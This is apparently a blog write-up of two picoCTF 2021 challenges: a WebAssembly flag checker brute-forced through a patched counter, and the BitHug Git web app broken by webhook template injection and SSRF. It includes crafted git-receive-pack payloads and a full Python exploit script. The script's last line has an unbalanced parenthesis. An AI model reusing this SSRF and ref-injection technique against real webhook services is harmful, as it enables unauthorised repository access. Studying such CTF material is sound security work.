picoCTF 2021 was held between March 16th and 30th. Overall, there were quite a few interesting and fun problems. I’ve selected two of the problems that stood out: Some Assembly Required 4 and BitHug.
Some Assembly Required 4
This is the final WebAssembly challenge. The process that I used to solve this challenge can also be applied to all the other ones as well, so I’ll just outline how I solved this one.
I’m not very good at reverse engineering, and only have a very rudimentary understanding of WASM in general so I’m sure there’s a better way to go about this.
How it Works
The basic flow of the challenge is that you enter in a flag and it checks if its the correct flag.
The JavaScript on the page interacts with a WASM program by first copying over each character in the flag into memory using the copy_char()
function. Afterward, it calls check_flag()
and receives a boolean, depending on whether the flag was valid or not.
Reverse Engineering
Google Chrome has one of the best tooling suites ever. This extends to WASM, where there is a debugger that disassembles the compiled WASM binaries into WebAssembly Text Format (WAT) and allows you to add breakpoints wherever you want. Thus the process of vaguely figuring out how it works is quite simple: all you need to do is to put breakpoints where you think something happens and you can inspect local variables at that breakpoint.
My process was even more simple. I was able to identify that the code was looping through the entered value (by putting in picoCTF{
as a prefix and putting random characters afterward) and returning when a character didn’t match. For this specific challenge, it compares two characters at a time, in contrast to the previous challenge which only compared one at a time.
You can think about it like this:
// check_char is an abstraction for whatever method they're using to check the character.
function check_flag(input) {
// loop through all the characters in the input and check them
for (let i = 0; i < input.length; i += 2) {
// check 2 characters
if (!check_char(input.charAt(i)) || !check_char(input.charAt(i + 1))) {
return false;
}
}
return true;
}
(Smart) Brute Force
The fact that this is a short circuit allows us to do a side channel attack on the checking process. To speed this up, we can add snippets of code that increments a counter whenever you get a character correct and resets that counter whenever you call the function. Knowing how many characters we got correct allows us to brute force the flag two characters at a time.
Using the above example, adding the counter would look like
// check_char is an abstraction for whatever method they're using to check the character.
let correct = 0;
function check_flag(input) {
correct = 0;
// loop through all the characters in the input and check them
for (let i = 0; i < input.length; i += 2) {
// check 2 characters
if (!check_char(input.charAt(i)) || !check_char(input.charAt(i + 1))) {
return false;
}
correct++;
}
return true;
}
You can see now how this now reduces to brute forcing two characters at a time, since we can start with guessing the first two. After we know those two characters are correct, we can guess the next two, then the next two… until we get to the end.
The only issue now is how we’ll add the code in. I don’t know how to write WebAssembly at all, and learning it seemed to be quite a steep curve. Instead of writing the WASM code myself, I found that you can compile C to WASM and then just copy those code snippets. I used WasmFiddle for this purpose.
A simple program that declares a global variable and increments it by 1 in main()
looks like this:
(module
(table 0 anyfunc)
(memory $0 1)
(data (i32.const 16) "\00")
(export "memory" (memory $0))
(export "main" (func $main))
(func $main (; 0 ;) (result i32)
(i32.store8 offset=16
(i32.const 0)
(i32.add
(i32.load8_u offset=16
(i32.const 0)
)
(i32.const 1)
)
)
(i32.const 0)
)
)
It’s very clear that the part that’s actually incrementing it is
(i32.store8 offset=16
(i32.const 0)
(i32.add
(i32.load8_u offset=16
(i32.const 0)
)
(i32.const 1)
)
)
The part that declares the memory location for the global variable is (data (i32.const 16) "\00")
, and its clear that the offset of this memory location is 16
. We can change this to whatever we want as long as we change the appropriate offsets in the rest of the code.
We also want to reset the global variable between runs, so I also compiled a snippet that set the variable to 0
.
(i32.store8 offset=16
(i32.const 0)
(i32.const 0)
)
I identified a suitable location to add the code snippets, which is right after a eq
operation in the program. Using the information gained from putting a breakpoint there, I could tell that the inserted code would only run if the character matched.
Since the WASM code is really long, I’ve uploaded them as files. You can see the final patched WAT file here and the diff between the original and patched here, I used an offset location of 3000
in my patch. I used the WebAssembly Binary Toolkit (WABT) to disassemble and reassemble the original binary.
Using this, I was able to write a quick Node.js script that would brute force the characters. I’ve cleaned it up a bit and added comments for a bit of clarity.
let guess = [];
// use our patched binary
WebAssembly.instantiate(require('fs').readFileSync('wasm4.wasm')).then(({ instance }) => {
// last flag was in format picoCTF{< 32 character hex string >}, so this one should be the same length
// you can also find this by setting this value to something really high and seeing when your guesses no longer increment the counter
for (let i = 0; i < 41; i += 2) {
// j and k are the two characters we're brute forcing
// between 32 and 127 are the printable ascii characters
for (let j = 32; j < 128; j++) {
for (let k = 32; k < 128; k++) {
// copy over the already correct part of our guess
for (let l = 0; l < i; l++) {
instance.exports.copy_char(guess[l], l);
}
// copy over the two characters we're brute forcing
instance.exports.copy_char(j, i);
instance.exports.copy_char(k, i + 1);
// null terminator
instance.exports.copy_char(0, i + 2);
// check our guess
instance.exports.check_flag();
// read the memory of the WASM program
let mem = Buffer.from(instance.exports.memory.buffer);
// check if we have a match, special case for end of string
if (mem[3000] == i + 3 || mem[3000] == 41) {
guess.push(j);
guess.push(k);
// yay we have the flag!
if (mem[3000] == 41) return console.log(String.fromCharCode(...guess) + '}');
}
}
}
}
});
Conclusion
Not being great at reverse engineering was for me a blessing, because otherwise I would have spent a lot of time and effort attempting to understand what the code was actually doing. Not being familiar with it gave me a different perspective, which allowed me to conceptualize a much easier solution to the challenge. I think this challenge was quite interesting, if not a bit misplaced given that it had very little to do with Web Exploitation.
BitHug
BigHug was my favorite web challenge on the CTF. The way this challenge was presented was very well thought out and gave you just enough hints such that you were never led to a point where you had no direction to go. All you needed to do was to put all the different things together and figure out how to execute the exploit.
How it Works
BitHug is a web app listening on port 1823 that lets you do basic version control with Git. To do this, it uses the Git CLI to perform operations on repositories. The goal of this challenge is to get access to a Git repository that you do not own, and to prove that you can do this, you have to clone a (normally inaccessible) repository under the name _/{your username}
, with the flag in it.
There’s a lot of things that you can explore with this challenge, here I’ll outline the important ones for our final exploit.
User type admin
When starting on a CTF challenge, the first thing I do is to look for a destination. Getting access to a repository that you don’t own should be impossible because the permission controls for repositories are very simple and on first glance, has no obvious problems. However, there is a caveat in that if you make requests from a loopback IP address (127.0.0.1
, ::1
or ::ffff:127.0.0.1
), you will be given essentially godmode powers so you can access any repository. It’s clear here that our goal is to somehow make requests from a loopback IP address, hinting at some kind of server-side resource forgery (SSRF) exploit.
git-receive-pack
git-receive-pack
is the endpoint that is used by Git to perform remote operations on a repository. In other words, when you git push
, the CLI converts your changes into a pack (application/x-git-receive-pack-request
) and POSTs it to the server.
Webhooks
BigHug has functionality that lets you specify POST
webhooks that will be triggered when you make changes to a repository (more formally, it does this when it executed as git-receive-pack
command). You are able to provide it with a URL, content that you would like to POST
to that URL as well as the Content-Type
of the content. The content that you provide is then put through a simple templating engine that allows you to inject certain attributes of the commit into your webhook. I’ll go more in depth on this below where I explain how the exploit works.
Access Control
Repositories can be accessed by the creator of the repository or a list of people as defined in the access.conf
file of the refs/meta/config
commit of the repository. This hints us toward us needing to somehow modify this file as part of our exploit.
The Webhook Exploit
The main thing that we will be exploiting is how webhooks are processed and sent. Webhooks are a SSRF vector, and in theory we can make a webhook that POSTs a git-receive-pack
that adds our user to the access.conf
file. However, this exploit won’t work since the server sanitizes our webhooks and only allows you to make webhooks that request to port 80. It does this by parsing our URL using the URL
class:
router.post("/:user/:repo.git/webhooks", async (req, res) => {
if (req.user.kind === "admin" || req.user.kind === "none") {
return res.status(400).end();
}
const { url, body, contentType } = req.body;
const validationUrl = new URL(url);
if (validationUrl.port !== "" && validationUrl.port !== "80") {
throw new Error("Url must go to port 80");
}
if (validationUrl.host === "localhost" || validationUrl.host === "127.0.0.1") {
throw new Error("Url must not go to localhost");
}
if (typeof contentType !== "string" || typeof body !== "string") {
throw new Error("Bad arguments");
}
const trueBody = Buffer.from(body, "base64");
await webhookManager.addWebhook(req.git.repo, req.user.user, url, contentType, trueBody);
return res.send({});
});
However, when actually executing the webhook, there is an exploit that allows us to bypass this. Below is the source code for the git-receive-pack
endpoint:
router.use("/:user/:repo.git/git-receive-pack", bodyParser.raw({ type: "application/x-git-receive-pack-request", limit: "10mb" }))
router.post("/:user/:repo.git/git-receive-pack", async (req, res) => {
const ref = await req.git.receivePackPost(res, req.body);
const webhooks = await webhookManager.getWebhooksForRepo(req.git.repo);
const options = {
ref,
branch: ref.startsWith("refs/heads/") ? ref.slice("refs/heads/".length) : undefined,
user: req.user.kind === "user" ? req.user.user : undefined,
repo: req.git.repo,
};
for (let webhook of webhooks) {
const url = formatString(webhook.url, options);
try {
const body = Buffer.from(formatString(webhook.body.toString("latin1"), options), "latin1");
await fetch(url, {
method: "POST",
headers: {
"Content-Type": webhook.contentType,
},
body,
});
} catch (e) {
console.warn("Failed to push webhook", url, e);
}
}
});
The formatString()
function is defined as:
export const formatString = (data: string, options: Record<string, string | undefined>) => {
return data.replace(/\{\{[^\}]+\}\}/g, (match) => {
const option = match.slice(2, -2);
return options[option] ?? "";
})
}
So it will replace all {{attr}}
in a string with options[attr]
.
The important part of this is const url = formatString(webhook.url, options);
. This is a template injection vulnerability that allows us to enter a URL like http://{{ref}}.com
, and then inject a ref
that points to 127.0.0.1:1823/_/admin.git/git-receive-pack?a
to bypass the port check since it only happens when the webhook is created.
Surprisingly enough, Node.js URL
will actually accept http://{{ref}}.com
as valid and parses it accordingly.
The final url would be http://127.0.0.1:1823/_/admin.git/git-receive-pack?a.com
, with the webserver ignoring the query string.
Now all we need to do is to somehow inject a string into the ref
of a git-receive-pack
. We can look at how the ref
is parsed in the receivePackPost
function:
public async receivePackPost(res: Response, data: Buffer) {
const results = await this.git("receive-pack", ["--stateless-rpc", this.dir], data);
res.send(results);
const [refUpdate] = data.toString().split("\0");
const [_old, _new, ref] = refUpdate.split(" ");
return ref;
}
This parsing is just basic string splitting so it should be easily exploitable.
The Execution
Given all of this the full exploit should be the following:
Create a webhook with URL
http://{{ref}}.com
,Content-Type: application/x-git-receive-pack-request
and the content of agit-receive-pack
that commits our user account to theaccess.conf
of therefs/meta/config
.Trigger the webhook with a commit
ref
being127.0.0.1:1823/_/admin.git/git-receive-pack?a
.
The hard part of this challenge is figuring out how to properly execute this exploit. There is very little documentation on the git-receive-pack
format and it seems nontrivial to figure out what the format actually is.
Instead of figuring out how the format works, we can instead simply use the Git CLI to try making commits and reading the requests that it makes. Most people would go straight to Wireshark for this purpose, but for the sake of simplicity I instead chose to modify the source code of the app and simply log out the hex of the request body directly.
diff --git a/server/src/git-api.ts b/server/src/git-api.ts
index ef8b23f..afb700d 100644
--- a/server/src/git-api.ts
+++ b/server/src/git-api.ts
@@ -157,6 +157,7 @@ router.post("/:user/:repo.git/git-upload-pack", async (req, res) => {
router.use("/:user/:repo.git/git-receive-pack", bodyParser.raw({ type: "application/x-git-receive-pack-request", limit: "10mb" }))
router.post("/:user/:repo.git/git-receive-pack", async (req, res) => {
+ console.log(req.body.toString('hex'));
const ref = await req.git.receivePackPost(res, req.body);
const webhooks = await webhookManager.getWebhooksForRepo(req.git.repo);
const options = {
After doing this, we can make any commit to the repository and push it. Then we can take the raw body and replace the ref
with our payload. I chose to make a very long branch name (e.g. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
) to make it easier to edit the raw data using a hex editor.
My final payload looked like the following:
00000000 30 30 62 62 30 30 30 30 30 30 30 30 30 30 30 30 |00bb000000000000|
00000010 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
00000020 30 30 30 30 30 30 30 30 30 30 30 30 20 39 30 37 |000000000000 907|
00000030 36 35 64 61 39 36 63 36 31 39 30 61 33 34 33 33 |65da96c6190a3433|
00000040 38 66 31 38 37 66 32 39 33 65 61 35 61 38 63 33 |8f187f293ea5a8c3|
00000050 39 32 39 31 31 20 31 32 37 2e 30 2e 30 2e 31 3a |92911 127.0.0.1:|
00000060 31 38 32 33 2f 5f 2f 61 64 6d 69 6e 2e 67 69 74 |1823/_/admin.git|
00000070 2f 67 69 74 2d 72 65 63 65 69 76 65 2d 70 61 63 |/git-receive-pac|
00000080 6b 3f 61 00 20 72 65 70 6f 72 74 2d 73 74 61 74 |k?a. report-stat|
00000090 75 73 20 73 69 64 65 2d 62 61 6e 64 2d 36 34 6b |us side-band-64k|
000000a0 20 61 67 65 6e 74 3d 67 69 74 2f 32 2e 33 30 2e | agent=git/2.30.|
000000b0 32 2e 77 69 6e 64 6f 77 73 2e 31 30 30 30 30 50 |2.windows.10000P|
000000c0 41 43 4b 00 00 00 02 00 00 00 00 02 9d 08 82 3b |ACK............;|
000000d0 d8 a8 ea b5 10 ad 6a c7 5c 82 3c fd 3e d3 1e |بêµ..jÇ\.<ý>Ó.|
Of course, depending on what you commit yours might look different.
Next, we can follow the instructions on the website and use the same method discussed above to generate the git-receive-pack
that includes a commit to access.conf
to add our own user.
$ git checkout --orphan access
$ echo "admin" > access.conf
$ git add access.conf
$ git commit -m "Added a user to the repo"
$ git push
My payload looked like this:
00000000 30 30 39 65 30 30 30 30 30 30 30 30 30 30 30 30 |009e000000000000|
00000010 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
00000020 30 30 30 30 30 30 30 30 30 30 30 30 20 33 34 34 |000000000000 344|
00000030 37 64 61 32 62 64 62 39 30 66 32 62 62 30 37 38 |7da2bdb90f2bb078|
00000040 37 34 63 38 32 39 63 37 39 35 30 64 66 64 30 36 |74c829c7950dfd06|
00000050 36 33 64 66 39 20 72 65 66 73 2f 6d 65 74 61 2f |63df9 refs/meta/|
00000060 63 6f 6e 66 69 67 00 20 72 65 70 6f 72 74 2d 73 |config. report-s|
00000070 74 61 74 75 73 20 73 69 64 65 2d 62 61 6e 64 2d |tatus side-band-|
00000080 36 34 6b 20 61 67 65 6e 74 3d 67 69 74 2f 32 2e |64k agent=git/2.|
00000090 33 30 2e 32 2e 77 69 6e 64 6f 77 73 2e 31 30 30 |30.2.windows.100|
000000a0 30 30 50 41 43 4b 00 00 00 02 00 00 00 03 9f 0c |00PACK..........|
000000b0 78 9c a5 cc cd 0d c2 30 0c 40 e1 7b a6 f0 02 44 |x.¥ÌÍ.Â0.@á{¦ð.D|
000000c0 76 fe 1a 24 84 e0 ce 12 a1 31 4d 25 da a0 d4 39 |vþ.$.àÎ.¡1M%Ú Ô9|
000000d0 74 7b ca 0c 5c 9f f4 3d 69 cc e0 6d 72 03 c7 44 |t{Ê.\.ô=iÌàmr.ÇD|
000000e0 39 90 41 17 5e 84 64 02 c6 cc 1e ad b5 26 8e 3c |9.A.^.d.ÆÌ..µ&.<|
000000f0 10 72 52 a9 4b a9 0d 1e a9 b5 1d 2e 5c 8a 94 79 |.rR©K©..©µ..\..y|
00000100 9d 6e 7d e3 b6 e9 b5 36 fe bc 77 3d cd 52 fa 53 |.n}ã¶éµ6þ¼w=ÍRúS|
00000110 8f 75 b9 02 05 f2 67 e3 8d 75 70 42 87 a8 8e ba |.u¹..ògã.upB.¨.º|
00000120 cc 22 fc d7 44 dd 73 e6 0c 09 7e 06 a4 82 14 86 |Ì"ü×DÝsæ..~.¤...|
00000130 c3 55 f5 05 31 dd 41 11 a7 02 78 9c 33 34 30 30 |ÃUõ.1ÝA.§.x.3400|
00000140 33 31 51 48 4c 4e 4e 2d 2e d6 4b ce cf 4b 63 a8 |31QHLNN-.ÖKÎÏKc¨|
00000150 df 37 55 bb 6c 91 35 c7 d6 03 f7 a4 02 e7 3a 66 |ß7U»l.5ÇÖ.÷¤.ç:f|
00000160 dd 2a 28 8b 01 00 07 53 0f 10 36 78 9c 4b 4c c9 |Ý*(....S..6x.KLÉ|
00000170 cd cc e3 02 00 08 15 02 14 50 b9 6c 6b b1 17 a0 |ÍÌã......P¹lk±. |
00000180 86 42 18 af 86 53 31 2f 69 14 34 61 7e |.B.¯.S1/i.4a~|
Now that we have our payloads in place, we can make a short script to automate the exploit. We first make the webhook with the template injection URL and payload for adding us to the repository and then we trigger that webhook with the ref
injection.
import base64
import requests
instance = '<YOUR INSTANCE HERE>'
user_token = '<YOUR USER TOKEN HERE>'
cookies = {
'user-token': user_token
}
# ADDS ADMIN TO ALLOWED USERS
git_payload = b'009e0000000000000000000000000000000000000000 3447da2bdb90f2bb07874c829c7950dfd0663df9 refs/meta/config\0 report-status side-band-64k agent=git/2.30.2.windows.10000PACK\0\0\0\x02\0\0\0\x03\x9f\fx\x9c\xa5\xcc\xcd\r\xc20\f@\xe1{\xa6\xf0\x02Dv\xfe\x1a$\x84\xe0\xce\x12\xa11M%\xda\xa0\xd49t{\xca\f\\\x9f\xf4=i\xcc\xe0mr\x03\xc7D9\x90A\x17^\x84d\x02\xc6\xcc\x1e\xad\xb5&\x8e<\x10rR\xa9K\xa9\r\x1e\xa9\xb5\x1d.\\\x8a\x94y\x9dn}\xe3\xb6\xe9\xb56\xfe\xbcw=\xcdR\xfaS\x8fu\xb9\x02\x05\xf2g\xe3\x8dupB\x87\xa8\x8e\xba\xcc"\xfc\xd7D\xdds\xe6\f\t~\x06\xa4\x82\x14\x86\xc3U\xf5\x051\xddA\x11\xa7\x02x\x9c340031QHLNN-.\xd6K\xce\xcfKc\xa8\xdf7U\xbbl\x915\xc7\xd6\x03\xf7\xa4\x02\xe7:f\xdd*(\x8b\x01\0\x07S\x0f\x106x\x9cKL\xc9\xcd\xcc\xe3\x02\0\b\x15\x02\x14P\xb9lk\xb1\x17\xa0\x86B\x18\xaf\x86S1/i\x144a~'
# ADD WEBHOOK
webhook_payload = {
'url': 'http://{{ref}}.com',
'body': base64.b64encode(git_payload).decode(),
'contentType': 'application/x-git-receive-pack-request'
}
print(requests.post(f'http://{instance}/admin/test.git/webhooks', json=webhook_payload, cookies=cookies).text)
# SSRF VIA STRING FORMATTING
ssrf_payload = b'00bb0000000000000000000000000000000000000000 90765da96c6190a34338f187f293ea5a8c392911 127.0.0.1:1823/_/admin.git/git-receive-pack?a\0 report-status side-band-64k agent=git/2.30.2.windows.10000PACK\0\0\0\x02\0\0\0\0\x02\x9d\b\x82;\xd8\xa8\xea\xb5\x10\xadj\xc7\\\x82<\xfd>\xd3\x1e'
# TRIGGER WEBHOOK
requests.post((f'http://{instance}/admin/test.git/git-receive-pack', data=ssrf_payload, headers={'Content-Type': 'application/x-git-receive-pack-request'}, cookies=cookies)
Now, we can just visit _/admin
on the web interface and you should be able to read the flag.
Conclusion
This was a great challenge by all measures. It did not require any guessing (unlike a lot of the other challenges), and it taught me a lot about how Git works in the background. The execution wasn’t anywhere near as hard as it looked initially. For me, this felt like a well designed challenge that successfully challenges many of the assumptions that we make with the expected behavior of a programming language and its standard library.
Final Thoughts
picoCTF was an interesting CTF to play, this year’s challenge set was quite diverse with its coverage of the wide variety of concepts.
My team placed 6th on the Global scoreboard and 1st on the Canadian one, I am very proud of my team and our accomplishments. We all learned a lot and contributed equally to the final result.